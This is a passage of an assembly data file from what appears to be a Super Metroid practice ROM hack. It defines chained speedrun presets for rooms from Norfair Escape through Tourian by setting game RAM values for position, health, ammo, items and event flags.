dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $001D ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0383 ; Health
dl $7E09C6 : db $02 : dw $0005 ; Missiles
dl $7E09CA : db $02 : dw $0000 ; Supers
dl $7E09CE : db $02 : dw $0000 ; Pbs
dl $7E09D0 : db $02 : dw $0019 ; Max pbs
dl $7E09D6 : db $02 : dw $0064 ; Reserves
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $015F ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED878 : db $02 : dw $D09C ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $DFF3 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0059 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_escape_3_muskateers:
dw #preset_rbo_norfair_escape_firefleas_exit_spikesuit ; Norfair Escape: Firefleas Exit (Spikesuit)
dl $7E078D : db $02 : dw $9A92 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $B510 ; MDB
dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $7C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0017 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $02CF ; Health
dl $7E09CE : db $02 : dw $0001 ; Pbs
dl $7E0A1C : db $02 : dw $00A5 ; Samus position/state
dl $7E0A68 : db $02 : dw $0001 ; Flash suit
dl $7E0AF6 : db $02 : dw $0070 ; Samus X
dl $7ED91A : db $02 : dw $005A ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_escape_croc_gate_farm:
dw #preset_rbo_norfair_escape_3_muskateers ; Norfair Escape: 3 Muskateers
dl $7E078D : db $02 : dw $95CA ; DDB
dl $7E079B : db $02 : dw $ACB3 ; MDB
dl $7E07F3 : db $02 : dw $0015 ; Music Bank
dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $02FB ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $012C ; Health
dl $7E09C6 : db $02 : dw $0004 ; Missiles
dl $7E09CA : db $02 : dw $0001 ; Supers
dl $7E09CE : db $02 : dw $0002 ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0058 ; Samus X
dl $7E0AFA : db $02 : dw $038B ; Samus Y
dl $7ED91A : db $02 : dw $005C ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_maridia_maridia_entry_spikesuit:
dw #preset_rbo_norfair_escape_croc_gate_farm ; Norfair Escape: Croc Gate Farm
dl $7E078D : db $02 : dw $922E ; DDB
dl $7E079B : db $02 : dw $CF80 ; MDB
dl $7E079F : db $02 : dw $0004 ; Region
dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers
dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0012 ; Music Bank
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $8000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $012B ; Health
dl $7E09C6 : db $02 : dw $000F ; Missiles
dl $7E09CA : db $02 : dw $0019 ; Supers
dl $7E09CE : db $02 : dw $000E ; Pbs
dl $7E0A1C : db $02 : dw $000C ; Samus position/state
dl $7E0AF6 : db $02 : dw $009C ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7E0B3F : db $02 : dw $0001 ; Blue suit
dw #$FFFF
.after
preset_rbo_maridia_aqueduct:
dw #preset_rbo_maridia_maridia_entry_spikesuit ; Maridia: Maridia Entry (Spikesuit)
dl $7E078D : db $02 : dw $A468 ; DDB
dl $7E078F : db $02 : dw $0005 ; DoorOut Index
dl $7E079B : db $02 : dw $D1A3 ; MDB
dl $7E07F3 : db $02 : dw $001B ; Music Bank
dl $7E07F5 : db $02 : dw $0006 ; Music Track
dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $3000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $013F ; Health
dl $7E09CA : db $02 : dw $0018 ; Supers
dl $7E0A1C : db $02 : dw $00E4 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $01BA ; Samus X
dl $7E0AFA : db $02 : dw $038B ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED820 : db $02 : dw $0801 ; Events, Items, Doors
dl $7ED8C0 : db $02 : dw $8000 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $005E ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_maridia_botwoon:
dw #preset_rbo_maridia_aqueduct ; Maridia: Aqueduct
dl $7E078D : db $02 : dw $A72C ; DDB
dl $7E078F : db $02 : dw $0003 ; DoorOut Index
dl $7E079B : db $02 : dw $D617 ; MDB
dl $7E07C3 : db $02 : dw $E78D ; GFX Pointers
dl $7E07C5 : db $02 : dw $2EBE ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B9 ; GFX Pointers
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $9000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $001F ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $009F ; Health
dl $7E09CE : db $02 : dw $000D ; Pbs
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $03A2 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED91A : db $02 : dw $0060 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_maridia_colosseum:
dw #preset_rbo_maridia_botwoon ; Maridia: Botwoon
dl $7E078D : db $02 : dw $A7E0 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $D913 ; MDB
dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $A000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0046 ; Health
dl $7E09CA : db $02 : dw $0013 ; Supers
dl $7E09CE : db $02 : dw $000F ; Pbs
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0A68 : db $02 : dw $0000 ; Flash suit
dl $7E0AF6 : db $02 : dw $00C6 ; Samus X
dl $7ED82C : db $02 : dw $0002 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0061 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_maridia_draygon:
dw #preset_rbo_maridia_colosseum ; Maridia: Colosseum
dl $7E078D : db $02 : dw $A7F8 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $D78F ; MDB
dl $7E090F : db $02 : dw $7400 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $01FD ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $000A ; Health
dl $7E09CA : db $02 : dw $0011 ; Supers
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $003C ; Samus X
dl $7E0AFA : db $02 : dw $028B ; Samus Y
dl $7ED8C2 : db $02 : dw $0C00 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0062 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_maridia_draygon_escape:
dw #preset_rbo_maridia_draygon ; Maridia: Draygon
dl $7E078D : db $02 : dw $A978 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $D9AA ; MDB
dl $7E07F3 : db $02 : dw $0024 ; Music Bank
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $4C00 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $D800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09A2 : db $02 : dw $730C ; Equipped Items
dl $7E09A4 : db $02 : dw $730C ; Collected Items
dl $7E09C2 : db $02 : dw $023A ; Health
dl $7E09C6 : db $02 : dw $000E ; Missiles
dl $7E09CA : db $02 : dw $0008 ; Supers
dl $7E09CE : db $02 : dw $0011 ; Pbs
dl $7E09D6 : db $02 : dw $0000 ; Reserves
dl $7E0A1C : db $02 : dw $0019 ; Samus position/state
dl $7E0A1E : db $02 : dw $0308 ; More position/state
dl $7E0AF6 : db $02 : dw $00CA ; Samus X
dl $7E0AFA : db $02 : dw $0087 ; Samus Y
dl $7E0B3F : db $02 : dw $0004 ; Blue suit
dl $7ED82C : db $02 : dw $0003 ; Events, Items, Doors
dl $7ED882 : db $02 : dw $0400 ; Events, Items, Doors
dl $7ED8C2 : db $02 : dw $8C00 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0063 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_maridia_plasma_screw_attack_strat:
dw #preset_rbo_maridia_draygon_escape ; Maridia: Draygon Escape
dl $7E078D : db $02 : dw $A5DC ; DDB
dl $7E079B : db $02 : dw $D27E ; MDB
dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers
dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers
dl $7E07F3 : db $02 : dw $001B ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $E800 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $015B ; Health
dl $7E09C6 : db $02 : dw $000B ; Missiles
dl $7E09CA : db $02 : dw $000D ; Supers
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $005F ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED8C2 : db $02 : dw $DC08 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0064 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_wrecked_ship_forgotten_highway:
dw #preset_rbo_maridia_plasma_screw_attack_strat ; Maridia: Plasma (Screw Attack Strat)
dl $7E078D : db $02 : dw $A594 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $94CC ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E07F3 : db $02 : dw $0009 ; Music Bank
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $8000 ; Screen subpixel Y position
dl $7E09A6 : db $02 : dw $100B ; Beams
dl $7E09A8 : db $02 : dw $100F ; Beams
dl $7E09C2 : db $02 : dw $01A6 ; Health
dl $7E09C6 : db $02 : dw $000F ; Missiles
dl $7E09CA : db $02 : dw $000F ; Supers
dl $7E09CE : db $02 : dw $0013 ; Pbs
dl $7E0A1C : db $02 : dw $0010 ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $007C ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dl $7ED880 : db $02 : dw $8000 ; Events, Items, Doors
dl $7ED8C2 : db $02 : dw $DC0A ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0065 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_wrecked_ship_east_ocean:
dw #preset_rbo_wrecked_ship_forgotten_highway ; Wrecked Ship: Forgotten Highway
dl $7E078D : db $02 : dw $8A96 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $9552 ; MDB
dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers
dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $A400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $000C ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01BA ; Health
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $00C4 ; Samus X
dl $7E0AFA : db $02 : dw $007B ; Samus Y
dw #$FFFF
.after
preset_rbo_wrecked_ship_wrecked_ship_backdoor_entry:
dw #preset_rbo_wrecked_ship_east_ocean ; Wrecked Ship: East Ocean
dl $7E078D : db $02 : dw $8A7E ; DDB
dl $7E079B : db $02 : dw $94FD ; MDB
dl $7E07F3 : db $02 : dw $000C ; Music Bank
dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $042D ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $016A ; Health
dl $7E0AF6 : db $02 : dw $0093 ; Samus X
dl $7E0AFA : db $02 : dw $049B ; Samus Y
dw #$FFFF
.after
preset_rbo_wrecked_ship_phantoon:
dw #preset_rbo_wrecked_ship_wrecked_ship_backdoor_entry ; Wrecked Ship: Wrecked Ship Backdoor Entry
dl $7E078D : db $02 : dw $A21C ; DDB
dl $7E078F : db $02 : dw $0003 ; DoorOut Index
dl $7E079B : db $02 : dw $CC6F ; MDB
dl $7E079F : db $02 : dw $0003 ; Region
dl $7E07C3 : db $02 : dw $AE9E ; GFX Pointers
dl $7E07C5 : db $02 : dw $A6BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B1 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0030 ; Music Bank
dl $7E0911 : db $02 : dw $01F4 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $6800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09CA : db $02 : dw $000E ; Supers
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0266 ; Samus X
dl $7E0AFA : db $02 : dw $005B ; Samus Y
dl $7ED8C0 : db $02 : dw $8010 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0066 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_wrecked_ship_ws_shaft_up:
dw #preset_rbo_wrecked_ship_phantoon ; Wrecked Ship: Phantoon
dl $7E078D : db $02 : dw $A2C4 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E07C5 : db $02 : dw $E7BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B0 ; GFX Pointers
dl $7E07F5 : db $02 : dw $0006 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $021D ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1400 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $01E7 ; Health
dl $7E09CA : db $02 : dw $0014 ; Supers
dl $7E09CE : db $02 : dw $0017 ; Pbs
dl $7E0AF6 : db $02 : dw $02BD ; Samus X
dl $7E0AFA : db $02 : dw $006B ; Samus Y
dl $7ED82A : db $02 : dw $0107 ; Events, Items, Doors
dl $7ED8C0 : db $02 : dw $8070 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_kraidg4_kihunters_room_down:
dw #preset_rbo_wrecked_ship_ws_shaft_up ; Wrecked Ship: WS Shaft (Up)
dl $7E078D : db $02 : dw $89CA ; DDB
dl $7E079B : db $02 : dw $95FF ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers
dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers
dl $7E07F3 : db $02 : dw $000C ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $2C00 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $D400 ; Screen subpixel Y position
dl $7E09CE : db $02 : dw $0016 ; Pbs
dl $7E0AF6 : db $02 : dw $0022 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED8C0 : db $02 : dw $8074 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $006B ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_kraidg4_kraid_entry:
dw #preset_rbo_kraidg4_kihunters_room_down ; Kraid/G4: Kihunters Room (Down)
dl $7E078D : db $02 : dw $A348 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $CF80 ; MDB
dl $7E079F : db $02 : dw $0004 ; Region
dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers
dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0012 ; Music Bank
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $7800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels
dl $7E09CA : db $02 : dw $0015 ; Supers
dl $7E09CE : db $02 : dw $0015 ; Pbs
dl $7E0A1C : db $02 : dw $00E6 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $0049 ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7E0B3F : db $02 : dw $0001 ; Blue suit
dl $7ED8B0 : db $02 : dw $4000 ; Events, Items, Doors
dl $7ED8B2 : db $02 : dw $2E09 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_kraidg4_kraid_hallway:
dw #preset_rbo_kraidg4_kraid_entry ; Kraid/G4: Kraid Entry
dl $7E078D : db $02 : dw $9156 ; DDB
dl $7E079B : db $02 : dw $A4DA ; MDB
dl $7E079F : db $02 : dw $0001 ; Region
dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers
dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers
dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $2C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $00FB ; Screen Y position in pixels
dl $7E09CA : db $02 : dw $0012 ; Supers
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0AF6 : db $02 : dw $0167 ; Samus X
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED91A : db $02 : dw $006C ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_kraidg4_kraid_hallway_exit:
dw #preset_rbo_kraidg4_kraid_hallway ; Kraid/G4: Kraid Hallway
dl $7E078D : db $02 : dw $91CE ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $A56B ; MDB
dl $7E07F3 : db $02 : dw $0027 ; Music Bank
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $7000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $BC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0204 ; Health
dl $7E09C6 : db $02 : dw $000A ; Missiles
dl $7E09CE : db $02 : dw $0019 ; Pbs
dl $7E0A1C : db $02 : dw $0018 ; Samus position/state
dl $7E0A1E : db $02 : dw $0204 ; More position/state
dl $7E0AF6 : db $02 : dw $0038 ; Samus X
dl $7E0AFA : db $02 : dw $0183 ; Samus Y
dl $7E0B3F : db $02 : dw $0002 ; Blue suit
dl $7ED828 : db $02 : dw $0104 ; Events, Items, Doors
dl $7ED8B8 : db $02 : dw $EEA4 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_kraidg4_kraid_escape:
dw #preset_rbo_kraidg4_kraid_hallway_exit ; Kraid/G4: Kraid Hallway (Exit)
dl $7E078D : db $02 : dw $913E ; DDB
dl $7E079B : db $02 : dw $A6A1 ; MDB
dl $7E07F3 : db $02 : dw $0012 ; Music Bank
dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $87FF ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $0007 ; Missiles
dl $7E09CA : db $02 : dw $0016 ; Supers
dl $7E09CE : db $02 : dw $0018 ; Pbs
dl $7E0A1C : db $02 : dw $0081 ; Samus position/state
dl $7E0A1E : db $02 : dw $0308 ; More position/state
dl $7E0AF6 : db $02 : dw $02D8 ; Samus X
dl $7E0AFA : db $02 : dw $0086 ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED8B8 : db $02 : dw $EEAC ; Events, Items, Doors
dl $7ED91A : db $02 : dw $006D ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_kraidg4_kihunters_room_up:
dw #preset_rbo_kraidg4_kraid_escape ; Kraid/G4: Kraid Escape
dl $7E078D : db $02 : dw $90BA ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $962A ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $C000 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $01E4 ; Health
dl $7E09CA : db $02 : dw $0015 ; Supers
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $006C ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dw #$FFFF
.after
preset_rbo_tourian_metroids:
dw #preset_rbo_kraidg4_kihunters_room_up ; Kraid/G4: Kihunters Room (Up)
dl $7E078D : db $02 : dw $9222 ; DDB
dl $7E079B : db $02 : dw $DAAE ; MDB
dl $7E079F : db $02 : dw $0005 ; Region
dl $7E07C3 : db $02 : dw $D414 ; GFX Pointers
dl $7E07C5 : db $02 : dw $EDBF ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2BA ; GFX Pointers
dl $7E07F3 : db $02 : dw $001E ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $7C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01FD ; Health
dl $7E09CA : db $02 : dw $0014 ; Supers
dl $7E0A1C : db $02 : dw $0012 ; Samus position/state
dl $7E0AF6 : db $02 : dw $0039 ; Samus X
dl $7E0AFA : db $02 : dw $038B ; Samus Y
dl $7ED820 : db $02 : dw $0FC1 ; Events, Items, Doors
dl $7ED8B2 : db $02 : dw $6E09 ; Events, Items, Doors
dl $7ED90C : db $02 : dw $0100 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0070 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_tourian_baby_skip:
dw #preset_rbo_tourian_metroids ; Tourian: Metroids
dl $7E078D : db $02 : dw $AA14 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $DC65 ; MDB
dl $7E07F3 : db $02 : dw $0045 ; Music Bank
dl $7E07F5 : db $02 : dw $0006 ; Music Track
dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $C800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0311 ; Health
dl $7E09C6 : db $02 : dw $000F ; Missiles
dl $7E09CA : db $02 : dw $0013 ; Supers
dl $7E09CE : db $02 : dw $0019 ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0AF6 : db $02 : dw $01C4 ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dl $7ED822 : db $02 : dw $002F ; Events, Items, Doors
dl $7ED8C4 : db $02 : dw $000F ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_tourian_zeb_skip:
dw #preset_rbo_tourian_baby_skip ; Tourian: Baby Skip
dl $7E078D : db $02 : dw $AAA4 ; DDB
dl $7E079B : db $02 : dw $DDF3 ; MDB
dl $7E07F3 : db $02 : dw $001E ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $1FFF ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $8000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0219 ; Screen Y position in pixels
dl $7E09CA : db $02 : dw $0010 ; Supers
dl $7E0AF6 : db $02 : dw $004C ; Samus X
dl $7E0AFA : db $02 : dw $028B ; Samus Y
dl $7ED8C4 : db $02 : dw $03AF ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_tourian_escape_room_3:
dw #preset_rbo_tourian_zeb_skip ; Tourian: Zeb Skip
dl $7E078D : db $02 : dw $AAEC ; DDB
dl $7E079B : db $02 : dw $DE7A ; MDB
dl $7E07F3 : db $02 : dw $0024 ; Music Bank
dl $7E07F5 : db $02 : dw $0007 ; Music Track
dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $00C6 ; Screen Y position in pixels
dl $7E09A6 : db $02 : dw $1009 ; Beams
dl $7E09C2 : db $02 : dw $0293 ; Health
dl $7E09C6 : db $02 : dw $0000 ; Missiles
dl $7E09CA : db $02 : dw $0000 ; Supers
dl $7E09CE : db $02 : dw $0000 ; Pbs
dl $7E09D6 : db $02 : dw $0064 ; Reserves
dl $7E0A1C : db $02 : dw $0029 ; Samus position/state
dl $7E0A1E : db $02 : dw $0608 ; More position/state
dl $7E0A76 : db $02 : dw $8000 ; Hyper beam
dl $7E0AF6 : db $02 : dw $00DB ; Samus X
dl $7E0AFA : db $02 : dw $0136 ; Samus Y
dl $7ED820 : db $02 : dw $4FC5 ; Events, Items, Doors
dl $7ED82C : db $02 : dw $0203 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_tourian_escape_parlor:
dw #preset_rbo_tourian_escape_room_3 ; Tourian: Escape Room 3
dl $7E078D : db $02 : dw $AB34 ; DDB
dl $7E079B : db $02 : dw $96BA ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $A401 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01D6 ; Health
dl $7E0A1C : db $02 : dw $0082 ; Samus position/state
dl $7E0A1E : db $02 : dw $0304 ; More position/state
dl $7E0AF6 : db $02 : dw $019B ; Samus X
dl $7E0AFA : db $02 : dw $005B ; Samus Y
dl $7ED90C : db $02 : dw $FF00 ; Events, Items, Doors
dw #$FFFF
.after
|
